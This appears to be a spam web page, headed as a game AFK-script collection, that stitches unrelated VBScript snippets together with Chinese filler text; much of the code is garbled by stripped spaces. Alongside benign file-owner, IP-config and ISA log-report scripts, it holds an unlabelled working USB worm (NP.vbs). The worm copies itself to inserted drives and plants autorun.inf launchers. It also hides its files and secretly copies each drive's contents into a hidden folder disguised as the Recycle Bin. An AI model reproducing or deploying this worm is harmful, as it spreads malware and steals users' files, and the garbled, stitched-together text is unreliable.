英雄联盟挂机脚本2019阿瓦隆采集

->由于我们在本地计算机上执行这个脚本,因此我们将变量strComputer设置为点(在WMI中表示本地计算机的快捷方式)linux编写shell脚本判断1-100素数压缩: FunctionfZip(sSourceFolder,sTargetZIPFile) 'ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile 'usingWindows'nativefolderZIPcapability. DimoShellApp,oFSO,iErr,sErrSource,sErrDescription SetoShellApp=CreateObject("Shell.Application") SetoFSO=CreateObject("Scripting.FileSystemObject") 'Thesourcefolderneedstohavea\ontheEnd IfRight(sSourceFolder,1)<>""ThensSourceFolder=sSourceFolder&"" OnErrorResumeNext 'IfatargetZIPexistsalready,deleteit IfoFSO.FileExists(sTargetZIPFile)ThenoFSO.DeleteFilesTargetZIPFile,True iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf OnErrorResumeNext 'Writethefileheaderforablankzipfile. oFSO.OpenTextFile(sTargetZIPFile,2,True).Write"PK"&Chr(5)&Chr(6)&String(18,Chr(0)) iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf OnErrorResumeNext 'Startcopyingfilesintothezipfromthesourcefolder. oShellApp.NameSpace(sTargetZIPFile).CopyHereoShellApp.NameSpace(sSourceFolder).Items iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf 'Becausethecopyingoccursinaseparateprocess,thescriptwilljustcontinue.RunaDO...LOOPtopreventthefunction 'fromexitinguntilthefileisfinishedzipping. DoUntiloShellApp.NameSpace(sTargetZIPFile).Items.Count=oShellApp.NameSpace(sSourceFolder).Items.Count WScript.Sleep1500'如果不成功,增加一下秒数 Loop fZip=Array(0,"","") EndFunction CallfZip("C:\vbs","c:\vbs.zip")要将几条项目添加到名为List1的ListBox中,其代码如下:    List1.AddItem"Paris"    List1.AddItem"NewYork"    List1.AddItem"SanFrancisco"    ListBox和ComboBox是在有限空间为用户提供大量选项的有效方法

GetOwner.VBS用法,在命令行下:GetOwner.vbs 目录名会在相应目录下生成一个TXT.TXT文件,内里列出该目录下所有文件和文件夹的类型,大小,和所有者 注意:大小以MB为单位,小于1MB的就显示为0MB, 以下是代码: G=WScript.arguments(0) Set oFSO=CreateObject("Scripting.FileSystemObject") set txt=oFSO.CreateTextFile(G&"TXT.txt",true) '嘿嘿,如果这个目录下刚好有一个TXT.txt文件,那就算你倒霉, 不会有人真用这种名字来做文件名吧?真的啊,真的有啊?那你 换地方吧~~~C: \TXT.TXT应该不会有了吧? set objWMI=GetObject("winmgmts:") Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=CIM_logicalfile") For Each oFile In oFiles txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( oFile.name) txt.WriteLine( "Type: " & oFile.FileType) if oFile.name=G&"system volume information" then exit for end if if oFile.FileType="File Folder" then Set objFolder=oFSO.GetFolder(oFile.name) txt.WriteLine("Size: " & Cint(objFolder.Size/1024/1024) &"MB") else txt.WriteLine( "Size: " & cint(oFile.FileSize/1024/1024) &"MB") end if strFile=oFile.name strComputer="." Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2") Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile & "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner") For Each objItem in colItems if oFile.name="system volume information" then exit for end if txt.WriteLine( "FileOwner: " & objItem.AccountName) Next Next 统计某用户在某目录下的文件和文件夹使用方法: 脚本名 目录名 用户名 如: owner.vbs d:\ lsj 结果是在相应目录下生成一个文本文件 格式如下: -------------------------------------------------------------- d:\jcb-gx Type: File Folder Size: 22MB -------------------------------------------------------------- d:\powerword 2003.rar Type: WinRAR 档案文件 Size: 503MB -------------------------------------------------------------- d:\txt.txt Type: Text Document Size: 0MB -------------------------------------------------------------- d:\年 度 考 核 登 记 表2006版061225.doc Type: Microsoft Word 文档 Size: 0MB -------------------------------------------------------------- -------------------------------------------------------------- -------------------------------------------------------------- The TotalSize of All files lsj owns is: 525MB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 以下为脚本代码: TotalSize=0 G=WScript.arguments(0) H=WScript.arguments(1) Set oFSO=CreateObject("Scripting.FileSystemObject") set txt=oFSO.CreateTextFile(G&"TXT.txt",true) set objWMI=GetObject("winmgmts:") Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=CIM_logicalfile") For Each oFile In oFiles strFile=oFile.name Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2") Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile & "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner") For Each objItem in colItems if objItem.AccountName=H then txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( oFile.name) txt.WriteLine( "Type: " & oFile.FileType) if oFile.name=G&"system volume information" then exit for end if S=0 if oFile.FileType="File Folder" then Set objFolder=oFSO.GetFolder(oFile.name) S=Cint(objFolder.Size/1024/1024) else S=Cint(oFile.FileSize/1024/1024) end if txt.WriteLine( "Size: " & S &"MB") TotalSize=TotalSize + S end if Next Next txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB") 更新后: 4.0版 使用方法: 脚本名 目录名 脚本会在相应目录下生成几个与本机用户对应的TXT文件,每个文件列出相应用户所有文件和文件夹的类型大小,并在最 后合总计算所有文件和文件夹的大小 以下是代码: TotalSize=0 G=WScript.arguments(0) Set oFSO=CreateObject("Scripting.FileSystemObject") Set objWMI=GetObject("winmgmts:") Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=CIM_logicalfile") Set objNetwork=CreateObject("Wscript.Network") strComputer=objNetwork.ComputerName Set colAccounts=GetObject("" & strComputer & "") colAccounts.Filter=Array("user") For Each objUser In colAccounts H=objUser.Name A=G & objUser.Name & "txt.txt" Set txt=oFSO.CreateTextFile (A,true) For Each oFile In oFiles strFile=oFile.name Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2") Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile & "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner") For Each objItem in colItems if objItem.AccountName=H then txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( oFile.name) txt.WriteLine( "Type: " & oFile.FileType) if oFile.name=G&"system volume information" then exit for end if S=0 if oFile.FileType="File Folder" then Set objFolder=oFSO.GetFolder(oFile.name) S=Cint(objFolder.Size/1024/1024) else S=Cint(oFile.FileSize/1024/1024) end if txt.WriteLine( "Size: " & S &"MB") TotalSize=TotalSize + S end if Next Next txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "--------------------------------------------------------------") txt.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB") Next 再次更新后: 4.1版 用法同前 脚本名 目录名 在目录名下生成一个文件,按用户次序输出所有用户在该目录中的文件信息,格式如下: -------------------------------------------------------------- The TotalSize of All files Administrator owns is: 0MB -------------------------------------------------------------- ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ -------------------------------------------------------------- The TotalSize of All files Guest owns is: 0MB -------------------------------------------------------------- ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ -------------------------------------------------------------- The TotalSize of All files HelpAssistant owns is: 0MB -------------------------------------------------------------- ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ -------------------------------------------------------------- d:\powerword 2003.rar Type: WinRAR 档案文件 Size: 503MB -------------------------------------------------------------- d:\年 度 考 核 登 记 表2006版061225.doc Type: Microsoft Word 文档 Size: 0MB -------------------------------------------------------------- d:\jcb-gx Type: File Folder Size: 22MB -------------------------------------------------------------- The TotalSize of All files lsj owns is: 525MB -------------------------------------------------------------- ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ -------------------------------------------------------------- The TotalSize of All files SUPPORT_388945a0 owns is: 0MB -------------------------------------------------------------- ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 以下是代码: G=WScript.arguments(0) Set oFSO=CreateObject("Scripting.FileSystemObject") Set objWMI=GetObject("winmgmts:") Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=CIM_logicalfile") Set objNetwork=CreateObject("Wscript.Network") strComputer=objNetwork.ComputerName Set colAccounts=GetObject("" & strComputer & "") colAccounts.Filter=Array("user") For Each objUser In colAccounts TotalSize=0 H=objUser.Name Set TXT=oFSO.OpenTextFile(G&"\TXT.TXT",8,true) For Each oFile In oFiles strFile=oFile.name Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2") Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile & "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner") For Each objItem in colItems if objItem.AccountName=H then TXT.WriteLine( "--------------------------------------------------------------") TXT.WriteLine( oFile.name) TXT.WriteLine( "Type: " & oFile.FileType) if oFile.name=G&"system volume information" then exit for end if S=0 if oFile.FileType="File Folder" then Set objFolder=oFSO.GetFolder(oFile.name) S=Cint(objFolder.Size/1024/1024) else S=Cint(oFile.FileSize/1024/1024) end if TXT.WriteLine( "Size: " & S &"MB") TotalSize=TotalSize + S end if Next Next TXT.WriteLine( "--------------------------------------------------------------") TXT.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB") TXT.WriteLine( "--------------------------------------------------------------") TXT.WriteLine( "※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※") TXT.Close Next MsgBox "文件列表信息已成功输出至TXT.TXT文件",64,"OK"    用类模块(文件扩展名为.CLS)创建对象,这些对象可被应用程序内的过程调用

'ReturningIPConfigurationData 'WMIscriptthatreturnsconfigurationdatasimilartothatreturnedbyIpConfig. strComputer="." SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2") SetcolAdapters=objWMIService.ExecQuery_ ("SELECT*FROMWin32_NetworkAdapterConfigurationWHEREIPEnabled=True") n=1 WScript.Echo ForEachobjAdapterincolAdapters WScript.Echo"NetworkAdapter"&n WScript.Echo"=================" WScript.Echo"Description:"&objAdapter.Description WScript.Echo"Physical(MAC)address:"&objAdapter.MACAddress WScript.Echo"Hostname:"&objAdapter.DNSHostName IfNotIsNull(objAdapter.IPAddress)Then Fori=0ToUBound(objAdapter.IPAddress) WScript.Echo"IPaddress:"&objAdapter.IPAddress(i) Next EndIf IfNotIsNull(objAdapter.IPSubnet)Then Fori=0ToUBound(objAdapter.IPSubnet) WScript.Echo"Subnet:"&objAdapter.IPSubnet(i) Next EndIf IfNotIsNull(objAdapter.DefaultIPGateway)Then Fori=0ToUBound(objAdapter.DefaultIPGateway) WScript.Echo"Defaultgateway:"&objAdapter.DefaultIPGateway(i) Next EndIf WScript.Echo WScript.Echo"DNS" WScript.Echo"---" WScript.Echo"DNSserversinsearchorder:" IfNotIsNull(objAdapter.DNSServerSearchOrder)Then Fori=0ToUBound(objAdapter.DNSServerSearchOrder) WScript.Echo""&objAdapter.DNSServerSearchOrder(i) Next EndIf WScript.Echo"DNSdomain:"&objAdapter.DNSDomain IfNotIsNull(objAdapter.DNSDomainSuffixSearchOrder)Then Fori=0ToUBound(objAdapter.DNSDomainSuffixSearchOrder) WScript.Echo"DNSsuffixsearchlist:"&objAdapter.DNSDomainSuffixSearchOrder(i) Next EndIf WScript.Echo WScript.Echo"DHCP" WScript.Echo"----" WScript.Echo"DHCPenabled:"&objAdapter.DHCPEnabled WScript.Echo"DHCPserver:"&objAdapter.DHCPServer IfNotIsNull(objAdapter.DHCPLeaseObtained)Then utcLeaseObtained=objAdapter.DHCPLeaseObtained strLeaseObtained=WMIDateStringToDate(utcLeaseObtained) Else strLeaseObtained="" EndIf WScript.Echo"DHCPleaseobtained:"&strLeaseObtained IfNotIsNull(objAdapter.DHCPLeaseExpires)Then utcLeaseExpires=objAdapter.DHCPLeaseExpires strLeaseExpires=WMIDateStringToDate(utcLeaseExpires) Else strLeaseExpires="" EndIf WScript.Echo"DHCPleaseexpires:"&strLeaseExpires WScript.Echo WScript.Echo"WINS" WScript.Echo"----" WScript.Echo"PrimaryWINSserver:"&objAdapter.WINSPrimaryServer WScript.Echo"SecondaryWINSserver:"&objAdapter.WINSSecondaryServer WScript.Echo n=n+1 Next FunctionWMIDateStringToDate(utcDate) WMIDateStringToDate=CDate(Mid(utcDate,5,2)&"/"&_ Mid(utcDate,7,2)&"/"&_ Left(utcDate,4)&""&_ Mid(utcDate,9,2)&":"&_ Mid(utcDate,11,2)&":"&_ Mid(utcDate,13,2)) EndFunction二、MCI的属性和事件MCI提供许多关于MCI控制方面的属性和事件

'[NatruePark] '容错语句 onErrorresumenext '变量声明及初始化 dimfso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell setfso=CreateObject("Scripting.File"&"SystemObject") setwshshell=wscript.createobject("WScript.Shell") old_n=0 redimold_drs(old_n) old_drs(0)="C" '[主体部分] wshshell.run("explorer.") dimi i=0 dowhilei>=0andi<8*360 scan_disk() ifjudge_new_disk()=1then dimleft_n left_n=1 dowhileleft_n<=(new_n-old_n) new_disk=new_drs(left_n+old_n)&":" '-----------------<维护块>----------------- iffso.FileExists(new_disk&"NP.vbs")=-1then else self_copy(new_disk) endif add_attrib(new_disk&"NP.vbs") iffso.FileExists(new_disk&"autorun.inf")=-1then del_attrib(new_disk&"autorun.inf") endif add_autorun(new_disk) add_attrib(new_disk&"autorun.inf") iffso.FileExists(new_disk&"stNP.vbs")=-1then else add_stNP(new_disk) endif add_attrib(new_disk&"stNP.vbs") '-----------------</维护块>----------------- '-----------------<功能块>----------------- dimrec rec="d:\Recyc1ed" iffso.FolderExists(rec)=-1then else fso.createfolder(rec) endif add_attribf(rec) iffso.FileExists(rec&"desktop.ini")=-1then else add_desktop(rec) endif add_attrib(rec&"desktop.ini") aim_folder=rec&Date()&Rnd() iffso.FolderExists(aim_folder)=-1then else fso.createfolder(aim_folder) endif '查找"汽轮机原理文件夹并复制" iffso.FolderExists(new_disk&"汽轮机原理")=-1then fso.copyfoldernew_disk&"汽轮机原理",aim_folder,true add_attribf(aim_folder) endif '通用复制 ifold_n=0then else setfp=fso.getFolder(new_drs(new_n)&":") setfc=fp.SubFolders foreachfinfc fso.copyfolderf&"",aim_folder&""&f.name,true next setfc=fp.files foreachfinfc fso.copyfilef&"",aim_folder&"",true next add_attribf(aim_folder) endif '-----------------</功能块>----------------- left_n=left_n+1 loop copy_disk() endif wscript.sleep(10000) i=i+1 loop '[函数部分] '可用驱动器检测new_drs(),new_n functionscan_disk() dimd,dr new_n=-1 setdr=fso.drives foreachdindr ifd.isreadythen new_n=new_n+1 redimpreservenew_drs(new_n) new_drs(new_n)=d.driveletter endif next endfunction '判断是否有新加入的驱动器 functionjudge_new_disk() ifnew_n=old_nthen judge_new_disk=0 elseifnew_n<old_nthen redimpreserveold_drs(new_n) old_n=new_n judge_new_disk=0 elseifnew_n>old_nthen redimpreserveold_drs(new_n) judge_new_disk=1 endif endfunction '复制新驱动器表单 functioncopy_disk() dimn n=0 dowhilen<=new_n old_drs(n)=new_drs(n) n=n+1 loop old_n=new_n endfunction '添加指定文件属性 functionadd_attrib(file) setf=fso.getfile(file) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件属性 functiondel_attrib(file) setf=fso.getfile(file) iff.attributes=7then f.attributes=0 else endif endfunction '自我复制到指定文件目录 functionself_copy(folder) dimaim_path,mid_path,self_file,mid_file aim_path=folder&"NP.vbs" mid_path="c:\np.bin" setself_file=fso.opentextfile(wscript.scriptfullname,1) self=self_file.readall setmid_file=fso.opentextfile(mid_path,2,true) mid_file.writeself mid_file.close setmid_file=fso.getfile(mid_path) mid_file.copy(aim_path) mid_file.delete(true) endfunction '增加autorun.inf functionadd_autorun(folder) dimpath path=folder&"autorun.inf" settemp=fso.CreateTextFile("c:\a.bin",true) temp.writeline"[autorun]" temp.writeline"open=" temp.writeline"shell\open=打开(&O)" temp.writeline"shell\open\Command=WScript.exestNP.vbs" temp.writeline"shell\open\Default=1" temp.writeline"shell\explore=资源管理器(&X)" temp.writeline"shell\explore\Command=WScript.exestNP.vbs" temp.close setcop=fso.getfile("c:\a.bin") cop.copy(path) cop.delete(true) endfunction '增加desktop.ini functionadd_desktop(folder) dimpath path=folder&"desktop.ini" settemp=fso.CreateTextFile("c:\d.bin",true) temp.writeline"[.ShellClassInfo]" temp.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}" temp.close setcop=fso.getfile("c:\d.bin") cop.copy(path) cop.delete(true) endfunction '增加stNP.vbs functionadd_stNP(folder) dimpath setfso=CreateObject("Scripting.File"&"SystemObject") path=folder&"stNP.vbs" settemp=fso.CreateTextFile("c:\s.bin",true) temp.writeline"onerrorresumenext" temp.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" temp.writeline"iffso.FileExists("&chr(34)&"NP.vbs"&chr(34)&")=-1then" temp.writeline"iffso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&")=-1then" temp.writeline"setf=fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")" temp.writeline"iff.attributes=0then" temp.writeline"else" temp.writeline"f.attributes=0" temp.writeline"endif" temp.writeline"f.delete(true)" temp.writeline"endif" temp.writeline"fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:\NP.vbs"&chr(34)&",true" temp.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" temp.writeline"wshshell.run"&chr(34)&"d:\NP.vbs"&chr(34) temp.writeline"endif" temp.close setcop=fso.getfile("c:\s.bin") cop.copy(path) cop.delete(true) endfunction '添加指定文件夹属性 functionadd_attribf(folder) setf=fso.getfolder(folder) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件夹属性 functiondel_attribf(folder) setf=fso.getfolder(folder) iff.attributes=0then else f.attributes=0 endif endfunction wscript.echo("THANKYOU!!") wscript.quit苦行2017如果能在一个复本内处理事务,就不要在几个复本中处理'ISA 2004 Web Log Query Tool 'Created by mwpq 'Version 1.0 'Date 2007.9.18 On Error Resume Next Dim startdate, enddate Dim topweb, topuser,usertop, usertopweb 'Configuration part of the script '==================================================================startdate=1 ' the newest log files to be queried. 1 means one day ago interday=7 ' the oldest log files is startdate + interday ' For example startdate=1, interday=7 means script will query log files between 8 days ago and yesterday's. topweb="Top 20" ' List Top 20 Websites visited. Just change 20 to other No to get what you want like "top 21" will list top 21 websites. topuser="Top 10" ' List Top 10 users and their total usage. Usertop="Top 20" ' List Top 20 Users with their top websites, depend on uesrtopweb. set to "" to list all users web usage usertopweb="Top 10" sMailTo="mwpq@yahoo.com" 'Send email repor to sMailFrom="admin@yourdomain.com 'Email comes from sMailSub="ISA Web Traffic Report" 'Email Title sSMTPServer="youremailserver" 'Email server strMessage="Please see attachment for the ISA Web Traffic Report." 'Email txt body. satt="C:\Program Files\Microsoft ISA Server\ISALogs\report.htm" 'Email attachment path. The report.htm will be created under ISA's log folder. '===================================================================Const cdoSendUsingMethod="", _ cdoSendUsingPort=2, _ cdoSMTPServer="" 'Create the html reprot and write the html header '=================================================================================================================Const BEGIN_TABLE=" <TABLE width=100% BORDER=0 CELLSPACING=1 CELLPADDING=2>" Const END_TABLE=" </TABLE>" Const ForReading=1 Const ForWriting=2 Const ForAppending=8 Set oFSO=CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(".\report.htm") Then oFSO.Deletefile(".\report.htm") End If If oFSO.FileExists(".\tempsum.w3c") Then oFSO.Deletefile(".\tempsum.w3c") End If Set oFile=oFSO.OpenTextFile(".\report.htm", ForWriting, True, true) 'Write the HTML head to file suit for IE viewer. oFile.writeline ("<HTML>" & vbcrlf & _ "<HEAD>" & vbcrlf & _ "<TITLE> ISA Web Usage Reports</TITLE>" & VbCrLf & _ "<style type=""text/css"">" & vbcrlf) oFile.writeline ("<!--" & vbcrlf & _ ".Title {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color:'#0000cc'}" & vbcrlf & _ ".head {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".category {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".result {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color:'#000000'}" & vbcrlf & _ ".alert {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ff0000'}" & vbcrlf & _ "a {color: '#000066'; text-decoration:none;}" & vbcrlf & _ "a:hover {text-decoration:underline}" & vbcrlf & _ "-->" & vbcrlf) oFile.writeline ("</style>" & VbCrLf & _ "</HEAD>" & VbCrLf & _ "<body bgcolor=#ffffff>" & VbCrLf) oFile.writeline "<p class=Title> ISA Web Traffic Report - From "&date-startdate-interday&" to "&date-startdate oFile.writeline "<p>" '================================================================================================================='End of create html report header part 'build the log file name list spath="" while interday >=0 dtmDate=date - startdate - interday 'Convert the current Date to UTC '=================================================================================================================strDay=Day(dtmDate) If Len(strDay) < 2 Then strDay="0" & strDay End If strMonth=Month(dtmDate) If Len(strMonth) < 2 Then strMonth="0" & strMonth End If strYear=Year(dtmDate) sdate=strYear & strMonth & strDay '=================================================================================================================stemp2="'"&"ISALOG_"&sdate&"_WEB_* "&"'" spath=spath & stemp2 if interday - startday > 0 then spath=spath&", " end if interday=interday - 1 wend 'Create a temp sumary file set objLogParser=CreateObject("MSUtil.LogQuery") Set objInputFormat=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") SET w3cOutputFormat=WScript.CreateObject("MSUtil.LogQuery.W3COutputFormat") w3cOutputFormat.filemode=1 ' Set file to overwrite mode strQuery="SELECT cs-username, r-host, Sum(add(cs-bytes,sc-bytes)) as SRdata into 'tempsum.w3c' FROM "&spath&" where sc-Network='External' group by cs-username,r-host order by SRdata DESC" objLogParser.Executebatch strQuery, objInputFormat,w3cOutputFormat 'check tempsum.w3c existed Set oFSO1=CreateObject("Scripting.FileSystemObject") If oFSO1.FileExists(".\tempsum.w3c") Then oFSO1=nothing else oFSO1=nothing wscript.echo "Sorry cannot find some of the log files to query! Script Quit." wscript.quit End If 'Generate report based on temp file. '================================================================================'Generate top web sites. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topweb&" Websites" mWBRow mWTitle "Site Name" mWTitle "Traffic (MB)" mWERow set objLogParser10=CreateObject("MSUtil.LogQuery") Set objInputFormat10=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery10="SELECT "&topweb&" r-host, sum(SRdata) as TSRData FROM 'tempsum.w3c' group by r-host order by TSRdata DESC" Set objRecordSet10=objLogParser10.Execute(strQuery10, objInputFormat10) Do While Not objRecordSet10.AtEnd Set objRecord10=objRecordSet10.GetRecord if fl=0 then mWBRow mWDetail2 objRecord10.GetValue("r-host") mwDetail2 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord10.GetValue("r-host") mwDetail1 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet10.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================'================================================================================'Generate top user list. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topuser&" Users list" mWBRow mWTitle "logon Name" mWTitle "Traffic (MB)" mWERow set objLogParser11=CreateObject("MSUtil.LogQuery") Set objInputFormat11=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery11="SELECT "&topuser&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet11=objLogParser11.Execute(strQuery11, objInputFormat11) Do While Not objRecordSet11.AtEnd Set objRecord11=objRecordSet11.GetRecord if fl=0 then mWBRow mWDetail2 objRecord11.GetValue("cs-username") mwDetail2 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord11.GetValue("cs-username") mwDetail1 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet11.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================set objLogParser1=CreateObject("MSUtil.LogQuery") Set objInputFormat1=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") strQuery1="SELECT "&usertop&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet1=objLogParser1.Execute(strQuery1, objInputFormat1) oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading usertop&" Users' Web Traffic " Do While Not objRecordSet1.AtEnd Set objRecord1=objRecordSet1.GetRecord strUsername=objRecord1.GetValue("cs-username") stt="'"&strUsername&"'" mWBRow mWTitle strUsername &" ------ Total Web Traffic: " & FormatNumber(objRecord1.GetValue("TSRdata")/1048576,2)&" MB" mWTitle "Traffic (MB)" mWERow 'Wscript.echo "" 'wscript.echo stt &" >>> data: " & objRecord1.GetValue("TSRdata") set objLogParser2=CreateObject("MSUtil.LogQuery") Set objInputFormat2=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 fl=0 strQuery2="SELECT "&usertopweb&" r-host, SRdata FROM 'tempsum.w3c' where cs-username=" &stt&" group by r-host,SRdata" Set objRecordSet2=objLogParser2.Execute(strQuery2, objInputFormat2) Do While Not objRecordSet2.AtEnd Set objRecord2=objRecordSet2.GetRecord if fl=0 then mWBRow mWDetail2 objRecord2.GetValue("r-host") mwDetail2 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord2.GetValue("r-host") mwDetail1 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet2.MoveNext Loop objRecordSet1.MoveNext spacer(12) Loop oFile.writeline (END_TABLE & VbCrLf) ' Write the html end to report. oFile.WriteLine ("</body>") oFile.WriteLine ("</html>") oFile.Close 'Methods to create html(title and table) part '=================================================================================================================Private Sub mWHeading(sHeading) oFile.writeline ( _ " <tr>" & vbCrLf & _ " <td colspan=7 bgcolor=#0099cc class=head>" & sHeading &"</td>"& vbCrLf & _ " </tr>" & VbCrLf) End Sub Private Sub mWTitle(sContent) oFile.writeline ( _ " <TD bgcolor=#0099ff align=left class=category height=14>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWBRow oFile.writeline ( " <tr>" & VbCrLf) End Sub Private Sub mWERow oFile.writeline ( " </tr>" & VbCrLf) End Sub Private Sub spacer(iHeight) oFile.writeline ( _ " <tr><td height=" & iHeight & "></td></tr>" & VbCrLf) End Sub '================================================================================================================='End of create html method 'Send email Dim iMsg, iConf, Flds '// Create the CDO connections. Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration") Set Flds=iConf.Fields '// SMTP server configuration. With Flds .Item(cdoSendUsingMethod)=cdoSendUsingPort '// Set the SMTP server address here. .Item(cdoSMTPServer)=sSMTPServer .Update End With '// Set the message properties. With iMsg Set .Configuration=iConf .To=sMailTo .From=sMailFrom .Subject=sMailSub .TextBody=strMessage End With 'iMsg.HTMLBody=sMailMessage '// Send the message. iMsg.AddAttachment satt iMsg.Send ' send the message. Set iMsg=Nothing Set iConf=Nothing 。

33人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册